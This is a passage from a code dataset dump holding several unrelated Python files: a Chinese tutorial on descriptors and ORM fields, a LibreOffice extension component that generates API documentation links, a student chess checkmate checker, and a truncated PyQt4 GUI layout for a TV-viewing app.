default_language\n","sub_path":"bungeni.main/branches/spb/bungeni/core/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"447487588","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/1/15 3:47 下午\n# @Author : Bais\n# @File : class05.py\n\n\"\"\"\n1.自定义属性访问\n2.描述器\n3.ORM模型\n O(objects): 类和对象\n R(relations): 关系,关系数据库中的表格\n M(mapping): 映射\n\"\"\"\n\n\nclass Test:\n def __init__(self):\n self.age = 18\n\n # def __getattr__(self, item):\n # # 当我们访问属性的时候,如果属性不存在(出现attrerror),该方法会被触发\n # print('-----这个是getattr方法-----')\n # # object.__getattribute__(self, item)\n # return 100\n\n # def __getattribute__(self, item):\n # # 访问属性的时候,第一时间触发该方法查找属性\n # print('这个是__getarrtbute__')\n # # return 999\n # return super().__getattribute__(item)\n\n # def __setattr__(self, key, value):\n # # 这个方法在给对象设置属性的时候回触发\n # if key == 'age':\n # super().__setattr__(key, 18)\n # else:\n # print('设置属性的时候回触发----')\n # super().__setattr__(key, value)\n\n def __delattr__(self, item):\n # 这个方法在删除属性的时候会被触发\n if item == 'name':\n pass\n else:\n print('---delattr被调用---')\n return super().__delattr__(item)\n\n\nt = Test()\nt.name = 10\nt.age = 18\ndel t.name\n\n\n# del t.age\n# print(t.name)\n# print(t.age)\n\n\nclass Filed(object):\n \"\"\"\n 一个类中,只要出现以下三个方法中的任意一个,那么该类就被称为描述器类\n \"\"\"\n\n # def __get__(self, instance, owner):\n # print('访问属性的时候被触发')\n # return self.value\n #\n def __set__(self, instance, value):\n print('__set__方法被触发')\n self.value = value\n # print(self)\n # print(instance)\n # print(value)\n\n # def __delete__(self, instance):\n # print('删除属性值得时候会被触发')\n # self.value = None\n\n\nclass Model(object):\n name = 'musen'\n attr = Filed() # 描述器对象:会覆盖类属性相关操作\n\n\nm = Model()\n# m.name = 'bais'\n# print(m.name)\nm.attr = 1000\n\n\n# del m.attr\n# print(m.attr)\n\n\nclass CharFiled:\n def __init__(self, max_lenght=20):\n self.max_lenght = max_lenght\n\n def __get__(self, instance, owner):\n return self.value\n\n def __set__(self, instance, value):\n if isinstance(value, str):\n if len(value) <= self.max_lenght:\n self.value = value\n else:\n raise ValueError('字符串长度应该在{}以内'.format(self.max_lenght))\n else:\n raise TypeError(\"need a str\")\n\n def __delete__(self, instance):\n self.value = None\n\n\nclass IntFiled:\n\n def __get__(self, instance, owner):\n return self.value\n\n def __set__(self, instance, value):\n if isinstance(value, int):\n self.value = value\n else:\n raise TypeError(\"need a int\")\n\n def __delete__(self, instance):\n self.value = None\n\n\nclass UserModel(object):\n # 假设这个是模型类\n name = CharFiled(max_lenght=30)\n pwd = CharFiled(max_lenght=40)\n age = IntFiled()\n\n\nm = UserModel()\nm.name = 'baisbjjjjjjjjjjjjjjjj'\nm.pwd = 'iufddddddddiuwehfiuwehuiwehew'\nm.age = '88'\nprint(m.name)\nprint(m.pwd)\nprint(m.age)\n\n\n# 经典类 继承 instance类型(Python2)\nclass MyClass:\n pass\n\n\n# 新式类 继承object(Python3)\nclass Test(object):\n pass\n\n\nt = Test()\nprint(type(t))\nprint(type(Test))\nprint(type(type))\n\n# type python3中所以的类都是通过type创建出来的:元类\n# object Python3中所以类的顶级父类都是object\n","sub_path":"class05.py","file_name":"class05.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"503737682","text":"#!/opt/libreoffice5.4/program/python\n# -*- coding: utf-8 -*-\nimport unohelper\nimport re, os\nfrom com.sun.star.beans import PropertyValue # Struct\nfrom com.sun.star.lang import XServiceInfo\nfrom com.sun.star.awt import XContainerWindowEventHandler\nfrom com.sun.star.uno.TypeClass import ENUM, TYPEDEF, STRUCT, EXCEPTION, INTERFACE, CONSTANTS # enum\nfrom pq import XTcu # 拡張機能で定義したインターフェイスをインポート。\nfrom .optiondialog import dilaogHandler\nfrom .wsgi import Wsgi, createHTMLfile\nfrom .wcompare import wCompare\nIMPLE_NAME = None\nSERVICE_NAME = None\ndef create(ctx, *args, imple_name, service_name):\n\tglobal IMPLE_NAME\n\tglobal SERVICE_NAME\n\tif IMPLE_NAME is None:\n\t\tIMPLE_NAME = imple_name \n\tif SERVICE_NAME is None:\n\t\tSERVICE_NAME = service_name\n\treturn TreeCommand(ctx, *args)\nclass TreeCommand(unohelper.Base, XServiceInfo, XTcu, XContainerWindowEventHandler): \n\tdef __init__(self, ctx, *args): # argsはcreateInstanceWithArgumentsAndContext()でインスタンス化したときの引数。\n\t\tself.args = args # 引数がないときもNoneではなくタプルが入る。\n\t\tsmgr = ctx.getServiceManager() # サービスマネジャーの取得。\n\t\tconfigurationprovider = smgr.createInstanceWithContext(\"com.sun.star.configuration.ConfigurationProvider\", ctx)\n\t\tcss = \"com.sun.star\" # IDL名の先頭から省略する部分。\n\t\tproperties = \"OffLine\", \"RefURL\", \"RefDir\", \"IgnoredIDLs\" # config.xcuのpropノード名。\n\t\tnodepath = \"/pq.Tcu.ExtensionData/Leaves/XUnoTreeCommandSettings/\" # config.xcuのノードへのパス。\n\t\tsimplefileaccess = smgr.createInstanceWithContext(\"com.sun.star.ucb.SimpleFileAccess\", ctx) \t\n\t\tself.consts = ctx, smgr, configurationprovider, css, properties, nodepath, simplefileaccess\n\t# XServiceInfo\n\tdef getImplementationName(self):\n\t\treturn IMPLE_NAME\n\tdef supportsService(self, name):\n\t\treturn name == SERVICE_NAME\n\tdef getSupportedServiceNames(self):\n\t\treturn (SERVICE_NAME,)\t\t\n\t# XContainerWindowEventHandler\n\tdef callHandlerMethod(self, dialog, eventname, methodname): # ブーリアンを返す必要あり。dialogはUnoControlDialog。 eventnameは文字列initialize, ok, backのいずれか。methodnameは文字列external_event。\n\t\tif methodname==\"external_event\": # Falseのときがありうる?\n\t\t\ttry:\n\t\t\t\tdilaogHandler(self.consts, dialog, eventname)\n\t\t\texcept:\n\t\t\t\timport traceback; traceback.print_exc()\n\t\t\t\treturn False\n\t\treturn True\t\t\n\tdef getSupportedMethodNames(self):\n\t\treturn \"tree\", \"wtree\"\n\t# XUnoTreeCommand\n\tdef treelines(self, obj): # 一行ずつの文字列のシークエンスを返す。\n\t\tctx, configurationprovider, css, fns_keys, dummy_offline, dummy_prefix, idlsset = getConfigs(self.consts)\n\t\toutputs = []\n\t\tfns = {key: outputs.append for key in fns_keys}\n\t\targs = ctx, configurationprovider, css, fns, idlsset, outputs\n\t\twCompare(args, obj, None)\n\t\treturn outputs\n\tdef wtreelines(self, obj): # 一行ずつの文字列のシークエンスを返す。連続スペースはnbspに置換の必要あり。\n\t\tctx, configurationprovider, css, fns_keys, dummy, prefix, idlsset = getConfigs(self.consts)\n\t\toutputs = []\n\t\tfns = createFns(ctx, css, prefix, fns_keys, outputs)\n\t\targs = ctx, configurationprovider, css, fns, idlsset, outputs\n\t\twCompare(args, obj, None)\t\t\n\t\treturn outputs\n\tdef wcomparelines(self, obj1, obj2): # 一行ずつの文字列のシークエンスを返す。連続スペースはnbspに置換の必要あり。\n\t\tctx, configurationprovider, css, fns_keys, dummy, prefix, idlsset = getConfigs(self.consts)\n\t\toutputs = [] # 出力行を収納するリストを初期化。等幅フォントのタグを指定。\n\t\tfns = createFns(ctx, css, prefix, fns_keys, outputs)\n\t\targs = ctx, configurationprovider, css, fns, idlsset, outputs\n\t\twCompare(args, obj1, obj2)\n\t\treturn outputs\n\tdef wtree(self, obj): # obj1とobj2を比較して結果をウェブブラウザに出力する。\n\t\tctx, configurationprovider, css, fns_keys, offline, prefix, idlsset = getConfigs(self.consts)\n\t\toutputs = [''] # 出力行を収納するリストを初期化。等幅フォントのタグを指定。\n\t\tfns = createFns(ctx, css, prefix, fns_keys, outputs)\n\t\targs = ctx, configurationprovider, css, fns, idlsset, outputs\n\t\twCompare(args, obj, None)\n\t\tcreateHtml(ctx, offline, outputs) # ウェブブラウザに出力。\n\tdef wcompare(self, obj1, obj2): # obj1とobj2を比較して結果をウェブブラウザに出力する。\n\t\tctx, configurationprovider, css, fns_keys, offline, prefix, idlsset = getConfigs(self.consts)\n\t\toutputs = [''] # 出力行を収納するリストを初期化。等幅フォントのタグを指定。\n\t\tfns = createFns(ctx, css, prefix, fns_keys, outputs)\n\t\targs = ctx, configurationprovider, css, fns, idlsset, outputs\n\t\twCompare(args, obj1, obj2)\n\t\tcreateHtml(ctx, offline, outputs) # ウェブブラウザに出力。\ndef createHtml(ctx, offline, outputs): # ウェブブラウザに出力。\n\toutputs.append(\"\")\t\n\thtml = \"
\".join(outputs).replace(\" \", chr(0x00A0)) # 半角スペースをノーブレークスペースに置換する。\n\thtml = re.sub(r'(?{}\".format(prefix, typ, m.replace(\".\", \"_1_1\"), fragment, i) # 下線はつけない。\n\t\treturn item_with_branch.replace(i, lnk)\n\tdef _make_link(typ, regex, item_with_branch):\n\t\tidl = regex.findall(item_with_branch) # 正規表現でIDL名を抽出する。\n\t\tif idl:\n\t\t\tlnk = \"{}\".format(prefix, typ, idl[0].replace(\".\", \"_1_1\"), idl[0]) # サービス名のアンカータグを作成。\n\t\t\toutputs.append(item_with_branch.replace(idl[0], lnk)) \n\t\telse:\n\t\t\toutputs.append(item_with_branch)\n\tdef _fn(item_with_branch): # サービス名とインターフェイス名以外を出力するときの関数。\n\t\tidl = reg_idl.findall(item_with_branch) # 正規表現でIDL名を抽出する。\n\t\tfor i in idl: # STRUCT, EXCEPTION, INTERFACE, CONSTANTSのIDLのみアンカーを付ける。ENUM, TYPEDEFはリンクを取得できない。\n\t\t\tj = tdm.getByHierarchicalName(\"{}{}\".format(css, i) if i.startswith(\".\") else i) # TypeDescriptionオブジェクトを取得。\n\t\t\ttypeclass = j.getTypeClass() # enum TypeClassを取得。辞書のキーにはなれない、uno.RuntimeException: : unhashable type: 'Enum'となる。\n\t\t\tfragment = \"\"\n\t\t\tif typeclass==INTERFACE:\n\t\t\t\tt = \"interface\"\n\t\t\telif typeclass==EXCEPTION:\n\t\t\t\tt = \"exception\"\n\t\t\telif typeclass==STRUCT:\n\t\t\t\tt = \"struct\"\t\t\n\t\t\telif typeclass== CONSTANTS:\n\t\t\t\tt = \"namespace\"\t\t\t\t\n\t\t\telif typeclass==ENUM:\t\t\t\t\n\t\t\t\tt = \"namespace\"\t\n\t\t\t\tfragment = \"#enum-members\"\n\t\t\telif typeclass==TYPEDEF: \n\t\t\t\tt = \"namespace\"\t\n\t\t\t\tfragment = \"#typedef-members\"\n\t\t\titem_with_branch = _make_anchor(t, i, item_with_branch, fragment)\n\t\toutputs.append(item_with_branch)\n\tdef _fn_s(item_with_branch): # サービス名にアンカータグをつける。\n\t\t_make_link(\"service\", reg_idl, item_with_branch)\n\tdef _fn_i(item_with_branch): # インターフェイス名にアンカータグをつける。\n\t\t_make_link(\"interface\", reg_i, item_with_branch)\t\n\tdef _fn_nolink(item_with_branch):\n\t\toutputs.append(item_with_branch)\n\tfns = {key: _fn for key in fns_keys[2:5]} # キー PROPERTY, INTERFACE_METHOD, INTERFACE_ATTRIBUTE\n\tfns[fns_keys[0]] = _fn_s # SERVICE\t\t\n\tfns[fns_keys[1]] = _fn_i # INTERFACE\n\tfns[fns_keys[5]] = _fn_nolink # NOLINK\n\treturn fns\n","sub_path":"TCU/src/pythonpath/inoxt/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":10724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"436823798","text":"#Filip Geib filip@geib.sk\n#CTU FEL KYR B3B33ALP 2018/19\n#homework no. 5\n\nimport sys\n\n#find position of king or queen\ndef possition(figure):\n r=-1\n c=-1\n for i in range(0, 8, 1):\n for j in range(0, 8, 1):\n if data[i][j]==figure:\n r=i\n c=j\n return str(r)+\";\"+str(c)\n\ndef countAttackers(tR,tC,side):\n count=0\n for r in range(0,8,1):\n for c in range(0,8,1):\n if r==tR and c==tC: pass\n elif movable(r,c,tR,tC,side)==\"KILL\": count+=1\n return count\n\n#go thru whole array pointing to one figure\ndef scanArray(tR,tC,side):\n for r in range(0,8,1):\n for c in range(0,8,1):\n if r==tR and c==tC: pass\n elif movable(r,c,tR,tC,side)==\"KILL\": return str(r)+\";\"+str(c)\n return \"NO\"\n\n#check if figurine can move to specific location\ndef movable(sR,sC,tR,tC,side):\n #test possibility; side=attacker side\n if side==-1:\n if data[tR][tC]<0: return \"NO\"\n else:\n if data[tR][tC]>0: return \"NO\"\n\n #king\n if data[sR][sC]==1*side:\n if abs(sR-tR)<=1 and abs(sC-tC)<=1:\n return \"KILL\"\n\n #pawn\n if data[sR][sC]==6*side:\n if side==-1:\n if data[tR][tC]==0:\n if tR-sR==-1 and tC-sC==0: return \"KILL\"\n else:\n if tR-sR==-1 and tC-sC==-1: return \"KILL\"\n elif tR-sR==-1 and tC-sC==1: return \"KILL\"\n else:\n if data[tR][tC]==0:\n if tR-sR==1 and tC-sC==0: return \"KILL\"\n else:\n if tR-sR==1 and tC-sC==1: return \"KILL\"\n elif tR-sR==-1 and tC-sC==1: return \"KILL\"\n\n #horse\n if data[sR][sC]==5*side:\n if abs(sR-tR)==2 and abs(sC-tC)==1: return \"KILL\"\n elif abs(sR-tR)==1 and abs(sC-tC)==2: return \"KILL\"\n\n #perpendicular queen or turret\n if data[sR][sC]==2*side or data[sR][sC]==3*side:\n if sR==tR: #right\n for c in range(sC,tC+1,1):\n if c==tC: return \"KILL\"\n elif data[sR][c]!=0 and data[sR][c]!=-7 and c!=sC: break\n\n if sR==tR: #left\n for c in range(sC,tC-1,-1):\n if c==tC: return \"KILL\"\n elif data[sR][c]!=0 and data[sR][c]!=-7 and c!=sC: break\n\n if sC==tC: #down\n for r in range(sR,tR+1,1):\n if r==tR: return \"KILL\"\n elif data[r][sC]!=0 and data[r][sC]!=-7 and r!=sR: break\n\n if sC==tC: #up\n for r in range(sR,tR-1,-1):\n if r==tR: return \"KILL\"\n elif data[r][sC]!=0 and data[r][sC]!=-7 and r!=sR: break\n\n #diagonal queen or archer\n if abs(sR-tR)==abs(sC-tC) and (data[sR][sC]==2*side or data[sR][sC]==4*side):\n c,r = sC,sR\n #right Up\n while r>0 and c<7:\n c+=1\n r-=1\n if c==tC and r==tR: return \"KILL\"\n elif data[r][c]!=0 and data[r][c]!=-7: break\n\n\n #right Down\n c,r = sC,sR\n while r<7 and c<7:\n c+=1\n r+=1\n if c==tC and r==tR: return \"KILL\"\n elif data[r][c]!=0 and data[r][c]!=-7: break\n\n #left Up\n c,r = sC,sR\n while r>0 and c>0:\n c-=1\n r-=1\n if c==tC and r==tR: return \"KILL\"\n elif data[r][c]!=0 and data[r][c]!=-7: break\n\n #left Down\n c,r = sC,sR\n while r<7 and c>0:\n c-=1\n r+=1\n if c==tC and r==tR: return \"KILL\"\n elif data[r][c]!=0 and data[r][c]!=-7: break\n\n return \"NO\"\n\ndef surrender(R,C):\n if R-1>=0: sR=R-1\n else: sR=R\n if C-1>=0: sC=C-1\n else: sC=C\n\n if R+1<=7: tR=R+1\n else: tR=R\n if C+1<=7: tC=C+1\n else: tC=C\n\n for c in range(sC,tC+1, 1):\n for r in range(sR,tR+1,1):\n if data[r][c]>=0:\n oldFigure=data[r][c]\n data[r][c]=-1\n val=scanArray(r,c,1)\n data[r][c]=oldFigure\n if val==\"NO\": return \"YES\"\n return val\n\ndef charge(aR,aC,kR,kC):\n #horse\n if data[aR][aC]==5:\n if scanArray(aR,aC,-1)!=\"NO\": return \"YES\"\n\n #vertical\n elif abs(aC-kC)==0:\n if kR>aR:\n for r in range(aR,kR,1):\n if scanArray(r,aC,-1)!=\"NO\": return \"YES\"\n else:\n for r in range(aR,kR,-1):\n if scanArray(r,aC,-1)!=\"NO\": return \"YES\"\n\n #horizontal\n elif abs(aR-kR)==0:\n if kC>aC:\n for c in range(aC,kC,1):\n if scanArray(aR,c,-1)!=\"NO\": return \"YES\"\n else:\n for r in range(aC,kC,-1):\n if scanArray(aR,c,-1)!=\"NO\": return \"YES\"\n\n #diagonal\n else:\n r=aR\n c=aC\n while(aR!=kR or aC!=kC):\n if scanArray(r,c,-1)!=\"NO\": return \"YES\"\n if kR-aR<0:\n if kC-aC<0:\n r+=-1\n c+=-1\n else:\n r+=-1\n c+=+1\n else:\n if kC-aC<0:\n r+=+1\n c+=-1\n else:\n r+=+1\n c+=+1\n\n#main:\ndata=[]\nf=open(sys.argv[1],'r')\nfor line in f:\n data.append(list(map(int, line.split())))\n\n#king possition\npos=possition(-1)\npos=pos.split(';')\nkR=int(pos[0])\nkC=int(pos[1])\n\nif countAttackers(kR,kC,1)>1:\n print(\"MAT\")\n sys.exit()\n\nattacker=scanArray(kR,kC,1)\nif attacker!=\"NO\":\n data[kR][kC]=-7\n if surrender(kR,kC)==\"YES\":\n print(\"SACH\")\n sys.exit()\n attacker=attacker.split(\";\")\n if charge(int(attacker[0]),int(attacker[1]),kR,kC)==\"YES\":\n print(\"SACH\")\n sys.exit()\n print(\"MAT\")\n sys.exit()\n\n#queen possition\npos=possition(-2)\npos=pos.split(';')\nqR=int(pos[0])\nqC=int(pos[1])\nif scanArray(qR,qC,1)!=\"NO\":\n print(\"GARDE\")\n sys.exit()\nelse:\n print(\"NO\")\n sys.exit()","sub_path":"chess.py","file_name":"chess.py","file_ext":"py","file_size_in_byte":5898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"378209816","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCopyright (C) 2014 Eduardo Júnio Santos Macêdo\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\"\"\"\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_TVNoLinux(object):\n\n global titleProgram\n global versionProgram\n global authorProgram\n global licenseProgram\n global linkProgram\n titleProgram = \"TVNoLinux\"\n versionProgram = \"0.3.0\"\n authorProgram = \"Eduardo Júnio Santos Macêdo\"\n licenseProgram = \"GPL v3.0\"\n linkProgram = \"http://eduardojunio.github.io/TVNoLinux/\"\n\n def setupUi(self, TVNoLinux):\n TVNoLinux.setObjectName(_fromUtf8(\"TVNoLinux\"))\n TVNoLinux.resize(730, 442)\n TVNoLinux.setMinimumSize(QtCore.QSize(730, 442))\n TVNoLinux.setMaximumSize(QtCore.QSize(730, 442))\n self.centralWidget = QtGui.QWidget(TVNoLinux)\n self.centralWidget.setObjectName(_fromUtf8(\"centralWidget\"))\n self.webView = QtWebKit.QWebView(self.centralWidget)\n self.webView.setGeometry(QtCore.QRect(0, 10, 481, 411))\n self.webView.setUrl(QtCore.QUrl(_fromUtf8(\"http://eduardojunio.github.io/TVNoLinux/\")))\n self.webView.setObjectName(_fromUtf8(\"webView\"))\n self.webView.settings().setAttribute(QtWebKit.QWebSettings.PluginsEnabled,True)\n self.pushButton_21 = QtGui.QPushButton(self.centralWidget)\n self.pushButton_21.setGeometry(QtCore.QRect(590, 370, 111, 31))\n self.pushButton_21.setObjectName(_fromUtf8(\"pushButton_21\"))\n self.tabWidget = QtGui.QTabWidget(self.centralWidget)\n self.tabWidget.setGeometry(QtCore.QRect(490, 10, 231, 341))\n self.tabWidget.setObjectName(_fromUtf8(\"tabWidget\"))\n self.tab_3 = QtGui.QWidget()\n self.tab_3.setObjectName(_fromUtf8(\"tab_3\"))\n self.pushButton_4 = QtGui.QPushButton(self.tab_3)\n self.pushButton_4.setGeometry(QtCore.QRect(141, 160, 71, 41))\n self.pushButton_4.setObjectName(_fromUtf8(\"pushButton_4\"))\n self.pushButton_5 = QtGui.QPushButton(self.tab_3)\n self.pushButton_5.setGeometry(QtCore.QRect(150, 10, 61, 41))\n self.pushButton_5.setObjectName(_fromUtf8(\"pushButton_5\"))\n self.pushButton_17 = QtGui.QPushButton(self.tab_3)\n self.pushButton_17.setGeometry(QtCore.QRect(71, 260, 61, 41))\n self.pushButton_17.setObjectName(_fromUtf8(\"pushButton_17\"))\n self.pushButton_3 = QtGui.QPushButton(self.tab_3)\n self.pushButton_3.setGeometry(QtCore.QRect(11, 160, 51, 41))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n self.pushButton_11 = QtGui.QPushButton(self.tab_3)\n self.pushButton_11.setGeometry(QtCore.QRect(71, 160, 61, 41))\n self.pushButton_11.setObjectName(_fromUtf8(\"pushButton_11\"))\n self.pushButton_19 = QtGui.QPushButton(self.tab_3)\n self.pushButton_19.setGeometry(QtCore.QRect(140, 260, 71, 41))\n self.pushButton_19.setObjectName(_fromUtf8(\"pushButton_19\"))\n self.pushButton_6 = QtGui.QPushButton(self.tab_3)\n self.pushButton_6.setGeometry(QtCore.QRect(11, 60, 71, 41))\n self.pushButton_6.setObjectName(_fromUtf8(\"pushButton_6\"))\n self.pushButton_8 = QtGui.QPushButton(self.tab_3)\n self.pushButton_8.setGeometry(QtCore.QRect(11, 110, 71, 41))\n self.pushButton_8.setObjectName(_fromUtf8(\"pushButton_8\"))\n self.pushButton_14 = QtGui.QPushButton(self.tab_3)\n self.pushButton_14.setGeometry(QtCore.QRect(101, 210, 111, 41))\n self.pushButton_14.setObjectName(_fromUtf8(\"pushButton_14\"))\n self.pushButton = QtGui.QPushButton(self.tab_3)\n self.pushButton.setGeometry(QtCore.QRect(11, 10, 61, 41))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.pushButton_10 = QtGui.QPushButton(self.tab_3)\n self.pushButton_10.setGeometry(QtCore.QRect(91, 60, 71, 41))\n self.pushButton_10.setObjectName(_fromUtf8(\"pushButton_10\"))\n self.pushButton_12 = QtGui.QPushButton(self.tab_3)\n self.pushButton_12.setGeometry(QtCore.QRect(170, 60, 41, 41))\n self.pushButton_12.setObjectName(_fromUtf8(\"pushButton_12\"))\n self.pushButton_9 = QtGui.QPushButton(self.tab_3)\n self.pushButton_9.setGeometry(QtCore.QRect(91, 110, 61, 41))\n self.pushButton_9.setObjectName(_fromUtf8(\"pushButton_9\"))\n self.pushButton_2 = QtGui.QPushButton(self.tab_3)\n self.pushButton_2.setGeometry(QtCore.QRect(81, 10, 61, 41))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.pushButton_13 = QtGui.QPushButton(self.tab_3)\n self.pushButton_13.setGeometry(QtCore.QRect(11, 210, 81, 41))\n self.pushButton_13.setObjectName(_fromUtf8(\"pushButton_13\"))\n self.pushButton_7 = QtGui.QPushButton(self.tab_3)\n self.pushButton_7.setGeometry(QtCore.QRect(160, 110, 51, 41))\n self.pushButton_7.setObjectName(_fromUtf8(\"pushButton_7\"))\n self.pushButton_16 = QtGui.QPushButton(self.tab_3)\n self.pushButton_16.setGeometry(QtCore.QRect(11, 260, 51, 41))\n self.pushButton_16.setObjectName(_fromUtf8(\"pushButton_16\"))\n self.tabWidget.addTab(self.tab_3, _fromUtf8(\"\"))\n self.tab_4 = QtGui.QWidget()\n self.tab_4.setObjectName(_fromUtf8(\"tab_4\"))\n self.pushButton_15 = QtGui.QPushButton(self.tab_4)\n self.pushButton_15.setGeometry(QtCore.QRect(100, 10, 111, 41))\n self.pushButton_15.setObjectName(_fromUtf8(\"pushButton_15\"))\n self.pushButton_18 = QtGui.QPushButton(self.tab_4)\n self.pushButton_18.setGeometry(QtCore.QRect(10, 10, 81, 41))\n self.pushButton_18.setObjectName(_fromUtf8(\"pushButton_18\"))\n self.pushButton_20 = QtGui.QPushButton(self.tab_4)\n self.pushButton_20.setGeometry(QtCore.QRect(60, 210, 61, 41))\n self.pushButton_20.setObjectName(_fromUtf8(\"pushButton_20\"))\n self.pushButton_22 = QtGui.QPushButton(self.tab_4)\n self.pushButton_22.setGeometry(QtCore.QRect(10, 210, 41, 41))\n self.pushButton_22.setObjectName(_fromUtf8(\"pushButton_22\"))\n self.pushButton_23 = QtGui.QPushButton(self.tab_4)\n self.pushButton_23.setGeometry(QtCore.QRect(10, 260, 101, 41))\n self.pushButton_23.setObjectName(_fromUtf8(\"pushButton_23\"))\n self.pushButton_24 = QtGui.QPushButton(self.tab_4)\n self.pushButton_24.setGeometry(QtCore.QRect(10, 60, 91, 41))\n self.pushButton_24.setObjectName(_fromUtf8(\"pushButton_24\"))\n self.pushButton_25 = QtGui.QPushButton(self.tab_4)\n self.pushButton_25.setGeometry(QtCore.QRect(169, 210, 41, 41))\n self.pushButton_25.setObjectName(_fromUtf8(\"pushButton_25\"))\n self.pushButton_26 = QtGui.QPushButton(self.tab_4)\n self.pushButton_26.setGeometry(QtCore.QRect(10, 110, 51, 41))\n self.pushButton_26.setObjectName(_fromUtf8(\"pushButton_26\"))\n self.pushButton_27 = QtGui.QPushButton(self.tab_4)\n self.pushButton_27.setGeometry(QtCore.QRect(159, 160, 51, 41))\n self.pushButton_27.setObjectName(_fromUtf8(\"pushButton_27\"))\n self.pushButton_28 = QtGui.QPushButton(self.tab_4)\n self.pushButton_28.setGeometry(QtCore.QRect(130, 210, 31, 41))\n self.pushButton_28.setObjectName(_fromUtf8(\"pushButton_28\"))\n self.pushButton_29 = QtGui.QPushButton(self.tab_4)\n self.pushButton_29.setGeometry(QtCore.QRect(10, 160, 71, 41))\n self.pushButton_29.setObjectName(_fromUtf8(\"pushButton_29\"))\n self.pushButton_30 = QtGui.QPushButton(self.tab_4)\n self.pushButton_30.setGeometry(QtCore.QRect(110, 60, 101, 41))\n self.pushButton_30.setObjectName(_fromUtf8(\"pushButton_30\"))\n self.pushButton_31 = QtGui.QPushButton(self.tab_4)\n self.pushButton_31.setGeometry(QtCore.QRect(90, 160, 61, 41))\n self.pushButton_31.setObjectName(_fromUtf8(\"pushButton_31\"))\n self.pushButton_32 = QtGui.QPushButton(self.tab_4)\n self.pushButton_32.setGeometry(QtCore.QRect(70, 110, 141, 41))\n self.pushButton_32.setObjectName(_fromUtf8(\"pushButton_32\"))\n self.pushButton_33 = QtGui.QPushButton(self.tab_4)\n self.pushButton_33.setGeometry(QtCore.QRect(120, 260, 91, 41))\n self.pushButton_33.setObjectName(_fromUtf8(\"pushButton_33\"))\n self.tabWidget.addTab(self.tab_4, _fromUtf8(\"\"))\n self.tab_5 = QtGui.QWidget()\n self.tab_5.setObjectName(_fromUtf8(\"tab_5\"))\n self.pushButton_34 = QtGui.QPushButton(self.tab_5)\n self.pushButton_34.setGeometry(QtCore.QRect(10, 10, 61, 41))\n self.pushButton_34.setObjectName(_fromUtf8(\"pushButton_34\"))\n self.pushButton_35 = QtGui.QPushButton(self.tab_5)\n self.pushButton_35.setGeometry(QtCore.QRect(169, 210, 41, 41))\n self.pushButton_35.setObjectName(_fromUtf8(\"pushButton_35\"))\n self.pushButton_36 = QtGui.QPushButton(self.tab_5)\n self.pushButton_36.setGeometry(QtCore.QRect(10, 210, 151, 41))\n self.pushButton_36.setObjectName(_fromUtf8(\"pushButton_36\"))\n self.pushButton_37 = QtGui.QPushButton(self.tab_5)\n self.pushButton_37.setGeometry(QtCore.QRect(80, 160, 131, 41))\n self.pushButton_37.setObjectName(_fromUtf8(\"pushButton_37\"))\n self.pushButton_38 = QtGui.QPushButton(self.tab_5)\n self.pushButton_38.setGeometry(QtCore.QRect(120, 110, 91, 41))\n self.pushButton_38.setObjectName(_fromUtf8(\"pushButton_38\"))\n self.pushButton_39 = QtGui.QPushButton(self.tab_5)\n self.pushButton_39.setGeometry(QtCore.QRect(10, 160, 61, 41))\n self.pushButton_39.setObjectName(_fromUtf8(\"pushButton_39\"))\n self.pushButton_40 = QtGui.QPushButton(self.tab_5)\n self.pushButton_40.setGeometry(QtCore.QRect(10, 110, 101, 41))\n self.pushButton_40.setObjectName(_fromUtf8(\"pushButton_40\"))\n self.pushButton_41 = QtGui.QPushButton(self.tab_5)\n self.pushButton_41.setGeometry(QtCore.QRect(159, 60, 51, 41))\n self.pushButton_41.setObjectName(_fromUtf8(\"pushButton_41\"))\n self.pushButton_42 = QtGui.QPushButton(self.tab_5)\n self.pushButton_42.setGeometry(QtCore.QRect(80, 60, 71, 41))\n self.pushButton_42.setObjectName(_fromUtf8(\"pushButton_42\"))\n self.pushButton_43 = QtGui.QPushButton(self.tab_5)\n self.pushButton_43.setGeometry(QtCore.QRect(10, 60, 61, 41))\n self.pushButton_43.setObjectName(_fromUtf8(\"pushButton_43\"))\n self.pushButton_44 = QtGui.QPushButton(self.tab_5)\n self.pushButton_44.setGeometry(QtCore.QRect(169, 10, 41, 41))\n self.pushButton_44.setObjectName(_fromUtf8(\"pushButton_44\"))\n self.pushButton_45 = QtGui.QPushButton(self.tab_5)\n self.pushButton_45.setGeometry(QtCore.QRect(80, 10, 81, 41))\n self.pushButton_45.setObjectName(_fromUtf8(\"pushButton_45\"))\n self.pushButton_46 = QtGui.QPushButton(self.tab_5)\n self.pushButton_46.setGeometry(QtCore.QRect(10, 260, 71, 41))\n self.pushButton_46.setObjectName(_fromUtf8(\"pushButton_46\"))\n self.pushButton_47 = 